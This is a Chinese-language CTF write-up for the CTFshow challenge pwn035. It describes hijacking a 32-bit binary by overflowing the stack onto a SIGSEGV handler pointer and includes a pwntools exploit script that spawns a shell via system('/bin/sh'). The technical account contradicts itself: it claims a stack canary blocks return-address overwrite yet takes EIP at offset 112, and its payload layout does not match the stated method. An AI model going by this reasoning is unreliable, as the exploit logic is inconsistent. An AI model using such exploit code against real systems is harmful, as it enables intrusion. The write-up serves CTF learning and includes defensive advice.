栈溢出与SIGSEGV信号处理机制的漏洞利用解析

1. 栈溢出与SIGSEGV信号处理机制的关系解析

在二进制安全领域，栈溢出是最基础也最经典的漏洞类型之一。当程序向栈上的缓冲区写入超过其容量的数据时，就会发生栈溢出，导致关键数据（如返回地址）被覆盖。传统利用方式是通过精心构造的输入覆盖返回地址，劫持程序执行流。但在本题pwn035中，出题者引入了一个有趣的变种——需要利用SIGSEGV信号处理机制来完成利用。

SIGSEGV是Unix/Linux系统在程序发生段错误（Segmentation Fault）时发送的信号。默认情况下，段错误会导致程序崩溃退出。但通过signal()或sigaction()系统调用，程序可以注册自定义的信号处理函数。当攻击者能够控制信号处理函数的指针时，就能实现执行流劫持。

这个题目场景模拟了现实中的几种特殊情况：

1. 程序开启了栈保护机制（如Canary），使得传统栈溢出难以直接覆盖返回地址
2. 程序注册了自定义的SIGSEGV处理函数，但处理逻辑存在缺陷
3. 攻击者能够通过栈溢出覆盖存储在栈上的信号处理函数指针

2. 题目环境搭建与分析

2.1 获取题目二进制文件

首先需要从CTFshow平台下载pwn035的题目文件。通常这类题目会提供以下文件：

• pwn035：可执行程序
• pwn035.c：源代码（有时不会提供）
• libc.so.x：依赖的libc库（版本可能被指定）

wget http://example.com/pwn035 chmod +x pwn035

2.2 基础安全措施检查

使用checksec工具检查二进制文件的安全机制：

checksec --file=pwn035

典型输出可能如下：

Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)

关键信息解读：

• 32位程序：地址为4字节
• 存在栈保护（Canary）：阻止直接覆盖返回地址
• NX enabled：栈不可执行
• 无PIE：代码段地址固定

2.3 逆向工程分析

使用IDA Pro或Ghidra对二进制文件进行分析，重点关注：

1. main函数的栈布局
2. 是否存在明显的缓冲区溢出点
3. 信号处理函数的注册位置
4. 全局变量的存储位置

关键发现可能包括：

• 程序中使用了strcpy等危险函数
• 在.data段存储了信号处理函数指针
• 栈缓冲区与关键数据相邻

3. SIGSEGV利用链构建

3.1 信号处理机制的内存布局

在Linux系统中，信号处理相关的关键数据结构包括：

1. 信号处理函数指针表：通常位于进程内存空间的固定位置
2. sigaction结构体：包含处理函数地址和标志位
3. 信号栈：可选的特殊栈区域

对于本题，我们需要关注的是：

• 全局信号处理函数指针的存储位置
• 该指针是否位于可溢出的缓冲区附近
• 覆盖后能否稳定触发SIGSEGV

3.2 漏洞触发条件分析

通过动态调试（gdb）观察程序崩溃时的行为：

gdb ./pwn35 run < payload

关键观察点：

1. 崩溃时的指令指针（eip/rip）
2. 栈回溯信息（bt）
3. 信号处理函数的调用链

3.3 利用链构造步骤

完整的利用需要以下步骤：

1. 确定溢出点偏移量：通过cyclic pattern确定覆盖返回地址的精确偏移
2. 定位信号处理函数指针：通过逆向找到全局变量的地址
3. 构造恶意payload：
   • 前N字节填充缓冲区
   • 中间4字节覆盖信号处理指针为system地址
   • 后续4字节覆盖为"/bin/sh"字符串地址
4. 触发SIGSEGV：通过非法内存访问强制触发信号

4. 漏洞利用实战

4.1 计算关键偏移量

使用cyclic工具生成测试pattern：

from pwn import * cyclic(200)

通过gdb观察崩溃时的寄存器值，计算精确偏移：

gdb-peda$ p/x $eip 0x6161616c >>> cyclic_find(0x6161616c) 112

4.2 获取关键地址

需要收集的地址信息：

1. 信号处理函数指针的存储地址
   • 通过IDA查找sigaction结构体
   • 或搜索对signal()的交叉引用
2. system函数地址
   • 通过GOT表泄露
   • 或基于libc的偏移计算
3. "/bin/sh"字符串地址
   • 可以在libc中查找
   • 或自行写入到已知位置

4.3 构造最终payload

示例利用代码（Python）：

from pwn import * context(arch='i386', os='linux') p = process('./pwn035') # 关键地址 signal_handler_ptr = 0x804a028 system_addr = 0xf7e13660 binsh_addr = 0xf7f5d0d8 # 构造payload payload = ( b'A' * 112 + p32(signal_handler_ptr) + p32(system_addr) + p32(binsh_addr) ) p.sendline(payload) p.interactive()

4.4 绕过防护机制的技巧

当面对更严格的防护时，可能需要：

1. 栈迁移：将栈转移到可控区域
2. ROP链构造：通过gadget组合实现复杂逻辑
3. 地址泄露：利用程序输出功能泄露关键地址

5. 防御措施与安全启示

5.1 开发者防护建议

1. 使用更安全的函数替代strcpy等危险函数
2. 对信号处理函数指针进行写保护（mprotect）
3. 启用完整的RELRO保护
4. 考虑使用SA_RESTART标志避免信号处理后的状态不一致

5.2 攻击检测方法

系统管理员可以：

1. 监控异常的信号处理行为
2. 检查关键全局变量的完整性
3. 使用ASLR增加利用难度

5.3 CTF中的变种题型

类似的进阶题目可能涉及：

1. 结合堆溢出的混合利用
2. 多阶段信号处理链
3. 与其他漏洞类型（如格式化字符串）的组合利用

在实际漏洞挖掘中，信号处理机制常常被忽视，却可能成为突破防护的关键跳板。我在多个真实案例中发现，开发者往往会认真防护直接的栈溢出，却忽略了通过信号处理函数间接实现的控制流劫持。这种"曲线救国"的思路值得安全研究人员重点关注。